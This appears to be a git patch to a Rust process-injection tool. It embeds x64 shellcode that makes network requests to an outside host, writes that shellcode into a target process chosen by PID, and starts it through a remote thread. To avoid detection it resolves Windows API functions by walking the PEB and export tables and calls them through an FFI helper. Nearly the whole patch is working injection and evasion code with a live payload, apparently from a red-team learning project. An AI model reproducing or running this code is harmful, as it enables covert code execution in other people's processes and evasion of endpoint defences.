From c211f2e840eb240d741cfc53e00b06c3e0e4e2c1 Mon Sep 17 00:00:00 2001 From: flux <49762827+0xflux@users.noreply.github.com> Date: Sun, 7 Jul 2024 17:12:31 +0100 Subject: [PATCH] c ffi direct syscall for injection --- builder/output/shellcode.bin | Bin 1024 -> 1024 bytes injector/build.rs | 4 + injector/lib/libcreate_thread.lib | Bin 0 -> 2158 bytes injector/src/main.rs | 171 ++++++++++------- injector/src/resolver.rs | 309 ++++++++++++++++++++++++++++++ 5 files changed, 419 insertions(+), 65 deletions(-) create mode 100644 injector/build.rs create mode 100644 injector/lib/libcreate_thread.lib create mode 100644 injector/src/resolver.rs diff --git a/builder/output/shellcode.bin b/builder/output/shellcode.bin index 715edff7b29c0fcd76d8a4dc19b81d464a6b47d5..2e2b9112c641926b7706c7c8e921d2fc0bd3c0a7 100644 GIT binary patch delta 205 zcmZqRXy8zMnZm@tAjrV*MTmi+6G&$Q=|4aWqCW$%z(mD^8((!W)_XL+G4MEkkO2rh zjvoS3y}S$m{{R1?O#oyJWJCY} delta 264 zcmZqRXy8zMnZv}uAjrTVA!9gOwi z9?fqwJdPh^00NKWhrm=X?~K3y|Gy~y_y4~~=P{37(ZxWnN9Vy8@4zC*fg&@(A|GGe z0g3eTt^;!aUjQ=tK^m>Vf}%^Hx^{rL%_%Ah3_y*GfPy}~th<4f;Yn9R-;@6@v>qto zIOEZLL?b@#FwltGK&f4fAm?=cfQWkhf56Dd$iSGuz`)4G&cJ2B8NgA%p1^j1{J$ZMYS9ReXwHVOElFKr3^0HuXK^uc*IRcCf@?Y+n*WMFrGJ2N{sJ3Bk~ z>AV}1*1t@ojW}hLrNHWJ7&Ft-U@ZXvI*vcY7|w>w4Vc5$1J5mkU``k|;IV)@f#@#W5zQCL^C~ ziSkb)co2Xe1^_N|Gzcd1+Kgi{?IK&zaG(tlLNH)y%`CgjldtI5S~Zp?m^JG2jOr?9NKc$anT{J}2>uUhfmIJNy68qLVx7=8o+9uUg-|JRpHW z+K4_h^828!@ecy*MmkN4C*!Myg*jv5Yj11jnsIB>uQ8*zZRD4~S)-~Oy++*fT~t^{f1d; zkpqR!MOXs^2I3(fTYVg%VdQlG0QYc^@rmR|T+ww2iCX1kr)#@7$K9(HPCIo?oC)DE zsntzi*5fX?om$!CLD#6Z@?nBou z9qUxE7cJ=QGys0#Gfj9G@F#K+Q)*{t2h=hE=i9r>Y}Rqg9&`QLRK{`q2J@<3;IO7s zT6crc@k3{`5&G4JSH826%f0WG`ulI$#w|*~?{3$zW{QpYUA^_XY^?_MRvj)r{<$)a z6+yoZB3^Z=dPA(R&mee+<4Gi-;yJCiM(P;jy|wHWH>;^-sd#|ksa!a&7O(so#KYqi2@{~)*l^XGM} zkYC9Ir;lI)E?_iyzZ5jXW`$vAxoYHHTp2gR(5n|~UO<*ssabECe)+-!UF%^N(7~$U zAJfcalBg9DHEWb1@iqvZQ2$#!(Me<~*%EJ+^3_lDMkR^5kM$rJN2N^5*}wY#0eBr{ AEC2ui literal 0 HcmV?d00001 diff --git a/injector/src/main.rs b/injector/src/main.rs index 43f71c2..f1f2fc1 100644 --- a/injector/src/main.rs +++ b/injector/src/main.rs @@ -1,52 +1,85 @@ use std::{arch::asm, env, ffi::c_void, fs::File, io::Read, mem::transmute, process::exit, ptr::{self, null, null_mut}}; use anyhow::Result; -use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}}; +use windows::Win32::{Foundation::{GetLastError}, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}}; + +use resolver::{get_function_from_exports, BOOL, DWORD, HANDLE, LONG, LPCSTR, LPSTR, PVOID, WORD}; + +mod resolver; + +pub type OpenProcessFFI = extern "system" fn(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) -> HANDLE; + +#[link(name = "msvcrt")] extern {} +#[link(name = "libcreate_thread", kind = "static")] +extern "C" { + fn start_thread(base_address: *mut c_void, handle: HANDLE) -> u32; +} fn main() { - // let payload = match read_shellcode_file() { - // Ok(s) => s, - // Err(e) => panic!("[-] Unable to read shellcode from file: {e}"), - // }; - let payload: [u8; 830] = [ - 0xe9,0x6c,0x02,0x00,0x00,0x11,0x00,0x00,0x18,0x13,0x00,0x00,0x91,0x11,0x00,0x00,0x71,0x12,0x00,0x00,0x20,0x13, - 0x00,0x00,0x71,0x12,0x00,0x00,0x18,0x13,0x00,0x00,0x34,0x13,0x00,0x00,0x4b,0x00,0x45,0x00,0x52,0x00,0x4e,0x00, - 0x45,0x00,0x4c,0x00,0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x57,0x69,0x6e,0x45, - 0x78,0x65,0x63,0x00,0x4c,0x6f,0x61,0x64,0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x00,0x75,0x00,0x72,0x00, - 0x6c,0x00,0x6d,0x00,0x6f,0x00,0x6e,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x75,0x72,0x6c,0x6d, - 0x6f,0x6e,0x2e,0x64,0x6c,0x6c,0x00,0x55,0x52,0x4c,0x44,0x6f,0x77,0x6e,0x6c,0x6f,0x61,0x64,0x54,0x6f,0x46,0x69, - 0x6c,0x65,0x41,0x00,0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x66,0x6c,0x75,0x78,0x73,0x65,0x63,0x2e,0x72,0x65, - 0x64,0x2f,0x73,0x69,0x74,0x65,0x6d,0x61,0x70,0x2e,0x78,0x6d,0x6c,0x00,0x43,0x3a,0x5c,0x55,0x73,0x65,0x72,0x73, - 0x5c,0x69,0x61,0x6e,0x5c,0x67,0x69,0x74,0x5c,0x72,0x75,0x73,0x74,0x5f,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64, - 0x65,0x5c,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x5c,0x74,0x65,0x73,0x74,0x5f,0x66,0x69,0x6c,0x65,0x5f, - 0x32,0x2e,0x78,0x6d,0x6c,0x00,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80, - 0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x65,0x48,0x8b, - 0x14,0x25,0x60,0x00,0x00,0x00,0x4c,0x8b,0x42,0x18,0x49,0x8b,0x40,0x10,0x48,0x89,0xc2,0x4c,0x8b,0x42,0x60,0x4d, - 0x85,0xc0,0x74,0x5a,0x66,0x83,0x7a,0x58,0x00,0x74,0x53,0x49,0xc7,0xc2,0xff,0xff,0xff,0xff,0x45,0x31,0xdb,0x4d, - 0x89,0xd9,0x66,0x42,0x83,0x7c,0x51,0x02,0x00,0x4d,0x8d,0x52,0x01,0x4d,0x8d,0x5b,0x01,0x75,0xec,0x49,0xc7,0xc3, - 0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x58,0x02,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf3,0x4d,0x39,0xda,0x75,0x1c, - 0x45,0x31,0xd2,0x49,0x83,0xe9,0x01,0x72,0x22,0x46,0x0f,0xb7,0x1c,0x11,0x49,0x8d,0x72,0x02,0x66,0x47,0x3b,0x1c, - 0x10,0x49,0x89,0xf2,0x74,0xe7,0x48,0x8b,0x12,0x48,0x39,0xc2,0x75,0x95,0xb8,0x78,0x56,0x34,0x12,0xeb,0x04,0x48, - 0x8b,0x42,0x30,0x5e,0xc3,0x41,0x57,0x41,0x56,0x41,0x54,0x56,0x57,0x55,0x53,0xb8,0x21,0x43,0x65,0x87,0x66,0x81, - 0x39,0x4d,0x5a,0x0f,0x85,0xb4,0x00,0x00,0x00,0x8b,0x41,0x3c,0x44,0x8b,0x8c,0x01,0x88,0x00,0x00,0x00,0x46,0x8b, - 0x44,0x09,0x18,0x42,0x8b,0x44,0x09,0x1c,0x46,0x8b,0x54,0x09,0x20,0x46,0x8b,0x4c,0x09,0x24,0x45,0x31,0xff,0x4d, - 0x39,0xc7,0x0f,0x84,0x94,0x00,0x00,0x00,0x49,0x8d,0x77,0x01,0x45,0x89,0xfb,0x43,0x8d,0x3c,0x9a,0x8b,0x3c,0x39, - 0x80,0x3c,0x39,0x00,0x49,0x89,0xf7,0x74,0xe0,0x48,0x01,0xcf,0x49,0xc7,0xc6,0xff,0xff,0xff,0xff,0x45,0x31,0xff, - 0x4c,0x89,0xfb,0x42,0x80,0x7c,0x32,0x01,0x00,0x4d,0x8d,0x76,0x01,0x4d,0x8d,0x7f,0x01,0x75,0xed,0x49,0xc7,0xc4, - 0xff,0xff,0xff,0xff,0x42,0x80,0x7c,0x27,0x01,0x00,0x4d,0x8d,0x64,0x24,0x01,0x75,0xf3,0x49,0x89,0xf7,0x4d,0x39, - 0xe6,0x75,0xa4,0x45,0x31,0xf6,0x48,0x83,0xeb,0x01,0x72,0x16,0x42,0x8a,0x2c,0x32,0x4d,0x8d,0x7e,0x01,0x42,0x3a, - 0x2c,0x37,0x4d,0x89,0xfe,0x74,0xe9,0x49,0x89,0xf7,0xeb,0x85,0x43,0x8d,0x14,0x59,0x0f,0xb7,0x14,0x11,0x81,0xe2, - 0xff,0x3f,0x00,0x00,0x8d,0x04,0x90,0x8b,0x04,0x01,0x48,0x01,0xc8,0x5b,0x5d,0x5f,0x5e,0x41,0x5c,0x41,0x5e,0x41, - 0x5f,0xc3,0xb8,0x44,0x33,0x22,0x11,0xeb,0xee,0x56,0x57,0x48,0x83,0xec,0x28,0x48,0xc7,0xc1,0x00,0x00,0x00,0x00, - 0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x48,0x8d,0x0d,0x98,0xfd,0xff,0xff,0xe8,0x73,0xfe,0xff,0xff,0x48,0x89,0xc6, - 0x48,0x8d,0x15,0xa3,0xfd,0xff,0xff,0x48,0x89,0xc1,0xe8,0xee,0xfe,0xff,0xff,0x48,0x89,0xc7,0x48,0x8d,0x15,0x99, - 0xfd,0xff,0xff,0x48,0x89,0xf1,0xe8,0xdc,0xfe,0xff,0xff,0x48,0x8d,0x0d,0xae,0xfd,0xff,0xff,0xff,0xd0,0x48,0x8d, - 0x0d,0x8f,0xfd,0xff,0xff,0xe8,0x3a,0xfe,0xff,0xff,0x48,0x8d,0x15,0xa4,0xfd,0xff,0xff,0x48,0x89,0xc1,0xe8,0xb8, - 0xfe,0xff,0xff,0x48,0x83,0x64,0x24,0x20,0x00,0x48,0x8d,0x15,0xa2,0xfd,0xff,0xff,0x4c,0x8d,0x05,0xbb,0xfd,0xff, - 0xff,0x31,0xc9,0x45,0x31,0xc9,0xff,0xd0,0x85,0xc0,0x74,0x08,0xcc,0x48,0x83,0xc4,0x28,0x5f,0x5e,0xc3,0x48,0x8d, - 0x0d,0xdb,0xfd,0xff,0xff,0xba,0x01,0x00,0x00,0x00,0x48,0x89,0xf8,0x48,0x83,0xc4,0x28,0x5f,0x5e,0x48,0xff,0xe0, - 0x01,0x01,0x01,0x00,0x01,0x60,0x00,0x00,0x01,0x0a,0x07,0x00,0x0a,0x30,0x09,0x50,0x08,0x70,0x07,0x60,0x06,0xc0, - 0x04,0xe0,0x02,0xf0,0x00,0x00,0x01,0x06,0x03,0x00,0x06,0x42,0x02,0x70,0x01,0x60 + let k32: &[u16] = &[ + 'K' as u16, + 'E' as u16, + 'R' as u16, + 'N' as u16, + 'E' as u16, + 'L' as u16, + '3' as u16, + '2' as u16, + '.' as u16, + 'D' as u16, + 'L' as u16, + 'L' as u16, + 0u16, + ]; + + let k32_base_addr = resolver::get_dll_base(k32.as_ptr()); + let OpenProcessFFI = get_function_from_exports(k32_base_addr, "OpenProcess\0".as_ptr()); + let OpenProcessFFI: OpenProcessFFI = unsafe {transmute(OpenProcessFFI)}; + + // makes a http get request to my blog and reads the content of the response + let payload: [u8; 1536] = [ + 0xe9,0xb0,0x02,0x00,0x00,0x11,0x00,0x00,0xe4,0x14,0x00,0x00,0xd5,0x11,0x00,0x00,0xb5,0x12,0x00,0x00,0xec,0x14,0x00,0x00,0xb5,0x12,0x00,0x00,0xe2,0x14,0x00,0x00,0x00,0x15,0x00,0x00,0x4b, + 0x00,0x45,0x00,0x52,0x00,0x4e,0x00,0x45,0x00,0x4c,0x00,0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x57,0x69,0x6e,0x45,0x78,0x65,0x63,0x00,0x4c,0x6f,0x61,0x64, + 0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,0x69,0x00,0x6e,0x00,0x65,0x00,0x74,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x75,0x72,0x6c, + 0x6d,0x6f,0x6e,0x2e,0x64,0x6c,0x6c,0x00,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x66,0x6c,0x75,0x78,0x20,0x73,0x65,0x63,0x00,0x66,0x6c,0x75,0x78,0x73,0x65,0x63,0x2e, + 0x72,0x65,0x64,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x4f,0x70,0x65,0x6e,0x41,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x43,0x6f,0x6e,0x6e,0x65,0x63,0x74,0x41,0x00,0x48,0x74, + 0x74,0x70,0x4f,0x70,0x65,0x6e,0x52,0x65,0x71,0x75,0x65,0x73,0x74,0x41,0x00,0x47,0x45,0x54,0x00,0x2f,0x73,0x69,0x74,0x65,0x6d,0x61,0x70,0x2e,0x78,0x6d,0x6c,0x00,0x48,0x74,0x74,0x70,0x53, + 0x65,0x6e,0x64,0x52,0x65,0x71,0x75,0x65,0x73,0x74,0x41,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x51,0x75,0x65,0x72,0x79,0x44,0x61,0x74,0x61,0x41,0x76,0x61,0x69,0x6c,0x61,0x62,0x6c, + 0x65,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x52,0x65,0x61,0x64,0x46,0x69,0x6c,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x46,0x69,0x6c,0x65,0x00,0x47,0x65,0x74,0x53,0x74,0x64,0x48,0x61, + 0x6e,0x64,0x6c,0x65,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x65,0x48,0x8b,0x14, + 0x25,0x60,0x00,0x00,0x00,0x4c,0x8b,0x42,0x18,0x49,0x8b,0x40,0x10,0x48,0x89,0xc2,0x4c,0x8b,0x42,0x60,0x4d,0x85,0xc0,0x74,0x5a,0x66,0x83,0x7a,0x58,0x00,0x74,0x53,0x49,0xc7,0xc2,0xff,0xff, + 0xff,0xff,0x45,0x31,0xdb,0x4d,0x89,0xd9,0x66,0x42,0x83,0x7c,0x51,0x02,0x00,0x4d,0x8d,0x52,0x01,0x4d,0x8d,0x5b,0x01,0x75,0xec,0x49,0xc7,0xc3,0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x58, + 0x02,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf3,0x4d,0x39,0xda,0x75,0x1c,0x45,0x31,0xd2,0x49,0x83,0xe9,0x01,0x72,0x22,0x46,0x0f,0xb7,0x1c,0x11,0x49,0x8d,0x72,0x02,0x66,0x47,0x3b,0x1c,0x10,0x49, + 0x89,0xf2,0x74,0xe7,0x48,0x8b,0x12,0x48,0x39,0xc2,0x75,0x95,0xb8,0x78,0x56,0x34,0x12,0xeb,0x04,0x48,0x8b,0x42,0x30,0x5e,0xc3,0x41,0x57,0x41,0x56,0x41,0x54,0x56,0x57,0x55,0x53,0xb8,0x21, + 0x43,0x65,0x87,0x66,0x81,0x39,0x4d,0x5a,0x0f,0x85,0xb4,0x00,0x00,0x00,0x8b,0x41,0x3c,0x44,0x8b,0x8c,0x01,0x88,0x00,0x00,0x00,0x46,0x8b,0x44,0x09,0x18,0x42,0x8b,0x44,0x09,0x1c,0x46,0x8b, + 0x54,0x09,0x20,0x46,0x8b,0x4c,0x09,0x24,0x45,0x31,0xff,0x4d,0x39,0xc7,0x0f,0x84,0x94,0x00,0x00,0x00,0x49,0x8d,0x77,0x01,0x45,0x89,0xfb,0x43,0x8d,0x3c,0x9a,0x8b,0x3c,0x39,0x80,0x3c,0x39, + 0x00,0x49,0x89,0xf7,0x74,0xe0,0x48,0x01,0xcf,0x49,0xc7,0xc6,0xff,0xff,0xff,0xff,0x45,0x31,0xff,0x4c,0x89,0xfb,0x42,0x80,0x7c,0x32,0x01,0x00,0x4d,0x8d,0x76,0x01,0x4d,0x8d,0x7f,0x01,0x75, + 0xed,0x49,0xc7,0xc4,0xff,0xff,0xff,0xff,0x42,0x80,0x7c,0x27,0x01,0x00,0x4d,0x8d,0x64,0x24,0x01,0x75,0xf3,0x49,0x89,0xf7,0x4d,0x39,0xe6,0x75,0xa4,0x45,0x31,0xf6,0x48,0x83,0xeb,0x01,0x72, + 0x16,0x42,0x8a,0x2c,0x32,0x4d,0x8d,0x7e,0x01,0x42,0x3a,0x2c,0x37,0x4d,0x89,0xfe,0x74,0xe9,0x49,0x89,0xf7,0xeb,0x85,0x43,0x8d,0x14,0x59,0x0f,0xb7,0x14,0x11,0x81,0xe2,0xff,0x3f,0x00,0x00, + 0x8d,0x04,0x90,0x8b,0x04,0x01,0x48,0x01,0xc8,0x5b,0x5d,0x5f,0x5e,0x41,0x5c,0x41,0x5e,0x41,0x5f,0xc3,0xb8,0x44,0x33,0x22,0x11,0xeb,0xee,0x41,0x57,0x41,0x56,0x41,0x55,0x41,0x54,0x56,0x57, + 0x55,0x53,0x48,0x83,0xec,0x58,0x48,0xc7,0xc1,0x00,0x00,0x00,0x00,0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x48,0x83,0xe4,0xf0,0x48,0x8d,0x0d,0x46,0xfd,0xff,0xff,0xe8,0x65,0xfe,0xff,0xff,0x48, + 0x89,0xc6,0x48,0x8d,0x15,0x51,0xfd,0xff,0xff,0x48,0x89,0xc1,0xe8,0xe0,0xfe,0xff,0xff,0x48,0x8d,0x15,0x4a,0xfd,0xff,0xff,0x48,0x89,0xf1,0xe8,0xd1,0xfe,0xff,0xff,0x48,0x89,0xc7,0x48,0x8d, + 0x0d,0x5e,0xfd,0xff,0xff,0xff,0xd0,0x48,0x8d,0x0d,0x60,0xfd,0xff,0xff,0xff,0xd7,0x48,0x8d,0x0d,0x34,0xfd,0xff,0xff,0xe8,0x23,0xfe,0xff,0xff,0x48,0x89,0xc3,0x48,0x8d,0x15,0x69,0xfd,0xff, + 0xff,0x48,0x89,0xc1,0xe8,0x9e,0xfe,0xff,0xff,0x83,0x64,0x24,0x20,0x00,0x48,0x8d,0x0d,0x40,0xfd,0xff,0xff,0x45,0x31,0xed,0xba,0x01,0x00,0x00,0x00,0x45,0x31,0xc0,0x45,0x31,0xc9,0xff,0xd0, + 0x48,0x89,0xc7,0x48,0x8d,0x15,0x49,0xfd,0xff,0xff,0x48,0x89,0xd9,0xe8,0x70,0xfe,0xff,0xff,0x48,0x83,0x64,0x24,0x38,0x00,0x83,0x64,0x24,0x30,0x00,0xc7,0x44,0x24,0x28,0x03,0x00,0x00,0x00, + 0x48,0x83,0x64,0x24,0x20,0x00,0x48,0x8d,0x15,0x07,0xfd,0xff,0xff,0x48,0x89,0xf9,0x66,0x41,0xb8,0xbb,0x01,0x45,0x31,0xc9,0xff,0xd0,0x48,0x89,0xc7,0x48,0x8d,0x15,0x1b,0xfd,0xff,0xff,0x48, + 0x89,0xd9,0xe8,0x31,0xfe,0xff,0xff,0x48,0x83,0x64,0x24,0x38,0x00,0x48,0x83,0x64,0x24,0x28,0x00,0x48,0x83,0x64,0x24,0x20,0x00,0xc7,0x44,0x24,0x30,0x00,0x00,0x80,0x00,0x48,0x8d,0x15,0x03, + 0xfd,0xff,0xff,0x4c,0x8d,0x05,0x00,0xfd,0xff,0xff,0x48,0x89,0xf9,0x45,0x31,0xc9,0xff,0xd0,0x48,0x89,0xc7,0x48,0x8d,0x15,0xfb,0xfc,0xff,0xff,0x48,0x89,0xd9,0xe8,0xef,0xfd,0xff,0xff,0x83, + 0x64,0x24,0x20,0x00,0x48,0x89,0xf9,0x31,0xd2,0x45,0x31,0xc0,0x45,0x31,0xc9,0xff,0xd0,0x48,0x8d,0x15,0xeb,0xfc,0xff,0xff,0x48,0x89,0xd9,0xe8,0xce,0xfd,0xff,0xff,0x49,0x89,0xc7,0x48,0x8d, + 0x15,0xf4,0xfc,0xff,0xff,0x48,0x89,0xd9,0xe8,0xbc,0xfd,0xff,0xff,0x48,0x89,0xc3,0x48,0x8d,0x15,0xf3,0xfc,0xff,0xff,0x48,0x89,0xf1,0xe8,0xaa,0xfd,0xff,0xff,0x49,0x89,0xc6,0x48,0x8d,0x15, + 0xeb,0xfc,0xff,0xff,0x48,0x89,0xf1,0xe8,0x98,0xfd,0xff,0xff,0x48,0x83,0x64,0x24,0x50,0x00,0x48,0x89,0xc6,0x48,0x83,0x64,0x24,0x48,0x00,0x4c,0x8d,0x64,0x24,0x44,0x41,0x83,0x24,0x24,0x00, + 0x48,0x89,0xf9,0x4c,0x89,0xe2,0x45,0x31,0xc0,0x45,0x31,0xc9,0x41,0xff,0xd7,0x45,0x8b,0x04,0x24,0x45,0x85,0xc0,0x74,0x72,0x4c,0x8d,0x7c,0x24,0x48,0x4c,0x8d,0x64,0x24,0x40,0x45,0x29,0xe8, + 0x76,0x61,0x41,0x83,0xf8,0x10,0x72,0x06,0x41,0xb8,0x10,0x00,0x00,0x00,0x83,0x64,0x24,0x40,0x00,0x48,0x89,0xf9,0x4c,0x89,0xfa,0x4d,0x89,0xe1,0xff,0xd3,0xbd,0x9f,0x86,0x01,0x00,0x84,0xc0, + 0x74,0x03,0x44,0x89,0xed,0xb9,0xf5,0xff,0xff,0xff,0xff,0xd6,0x48,0x83,0x64,0x24,0x20,0x00,0x48,0x89,0xc1,0x4c,0x89,0xfa,0x41,0xb8,0x10,0x00,0x00,0x00,0x45,0x31,0xc9,0x41,0xff,0xd6,0x48, + 0x83,0x64,0x24,0x48,0x00,0x48,0x83,0x64,0x24,0x50,0x00,0x03,0x6c,0x24,0x40,0x44,0x8b,0x44,0x24,0x44,0x41,0x89,0xed,0xeb,0x9a,0xeb,0xfe,0xeb,0xfe,0xcc,0xcc,0x01,0x01,0x01,0x00,0x01,0x60, + 0x00,0x00,0x01,0x0a,0x07,0x00,0x0a,0x30,0x09,0x50,0x08,0x70,0x07,0x60,0x06,0xc0,0x04,0xe0,0x02,0xf0,0x00,0x00,0x01,0x10,0x09,0x00,0x10,0xa2,0x0c,0x30,0x0b,0x50,0x0a,0x70,0x09,0x60,0x08, + 0xc0,0x06,0xd0,0x04,0xe0,0x02,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, ]; let pid = collect_proc_addr(); @@ -93,20 +126,37 @@ fn main() { // #################################################### // INJECT VIA CREATE REMOTE THREAD - let result_createremotethread = CreateRemoteThread( - h_process, - None, - 0, - transmute(remotememory_ptr), - None, - 0, - None + // let result_createremotethread = CreateRemoteThread( + // h_process, + // None, + // 0, + // transmute(remotememory_ptr), + // None, + // 0, + // None + // ); + + // match result_createremotethread { + // Ok(_) => println!("[+] Thread created"), + // Err(e) => eprintln!("[-] Error creating thread {e}"), + // } + + // re open process but via fn pointer + let h_ffi_proc = OpenProcessFFI( + PROCESS_ALL_ACCESS.0, + 0, + pid, ); - match result_createremotethread { - Ok(_) => println!("[+] Thread created"), - Err(e) => eprintln!("[-] Error creating thread {e}"), - } + println!("[i] Base address: {:p}", remotememory_ptr as *mut c_void); + println!("[i] Handle to the process: {:p}", h_ffi_proc); + + let result = start_thread( + remotememory_ptr as *mut c_void, + h_ffi_proc, + ); + + println!("[i] Result of thread: {}", result); } } @@ -123,13 +173,4 @@ fn collect_proc_addr() -> u32 { let pid_as_int: u32 = pid.parse().unwrap(); pid_as_int -} - -/// If not hard coding shellcode, read from specified file. -fn read_shellcode_file() -> Result> { - let mut shellcode_file = File::open(r"C:\Users\ian\git\rust_shellcode\builder\output\shellcode.bin")?; - let mut shellcode_buffer = Vec::new(); - shellcode_file.read_to_end(&mut shellcode_buffer)?; - - Ok(shellcode_buffer) } \ No newline at end of file diff --git a/injector/src/resolver.rs b/injector/src/resolver.rs new file mode 100644 index 0000000..34ad383 --- /dev/null +++ b/injector/src/resolver.rs @@ -0,0 +1,309 @@ +use core::{arch::asm, ops::Add}; + +#[allow(non_snake_case)] +#[allow(non_camel_case_types)] +#[link(name = "vcruntime")] extern {} + +pub extern "system" fn get_dll_base(module_name: *const u16) -> *const c_void { + let mut peb: usize; + let mut ldr: usize; + let mut in_memory_order_module_list: usize; + let mut current_entry: usize; + + unsafe { + // get the peb and module list + asm!( + "mov {peb}, gs:[0x60]", + "mov {ldr}, [{peb} + 0x18]", + "mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink + peb = out(reg) peb, + ldr = out(reg) ldr, + in_memory_order_module_list = out(reg) in_memory_order_module_list, + ); + + // set the current entry to the head of the list + current_entry = in_memory_order_module_list; + + // iterate the modules searching for + loop { + // get the attributes we are after of the current entry + let dll_base = *(current_entry.add(0x30) as *const usize); + let module_name_address = *(current_entry.add(0x60) as *const usize); + let module_length = *(current_entry.add(0x58) as *const u16); + + // check if the module name address is valid and not zero + if module_name_address != 0 && module_length > 0 { + let cur_name = core::slice::from_raw_parts(module_name_address as *const u16, (module_length / 2) as usize) as *const _ as *const u16; + if raw_eq(module_name, cur_name) { + return dll_base as PVOID; + } + } + + // dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY + // within the next LDR_DATA_TABLE_ENTRY) + current_entry = *(current_entry as *const usize); + + // If we have looped back to the start, break + if current_entry == in_memory_order_module_list { + // using 12345678 as a marker for it gone wrong + return 0x12345678 as *const c_void; + } + } + } +} + +/// Get the function address from the givin module DLL base +pub extern "system" fn get_function_from_exports(dll_base: *const c_void, needle: *const u8) -> *const c_void { + unsafe { + // cast the dos header + let dos_header = &*(dll_base as *const IMAGE_DOS_HEADER); + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return 0x87654321 as *const c_void; + } + + // get us to the export directory + let e_lfanew = (*dos_header).e_lfanew; + let nt_headers = (dll_base as *const u8).offset(e_lfanew as isize) as *const IMAGE_NT_HEADERS64; + let optional_headers = &(*nt_headers).OptionalHeader; + let virtual_addr = (&optional_headers.DataDirectory[0]).VirtualAddress; + let export_dir: *const IMAGE_EXPORT_DIRECTORY = (dll_base as *const u8).offset(virtual_addr as _) as _; + + // get the location of each list + let number_of_names = (*export_dir).NumberOfNames; + let addr_of_funcs = (*export_dir).AddressOfFunctions; + let addr_of_names = 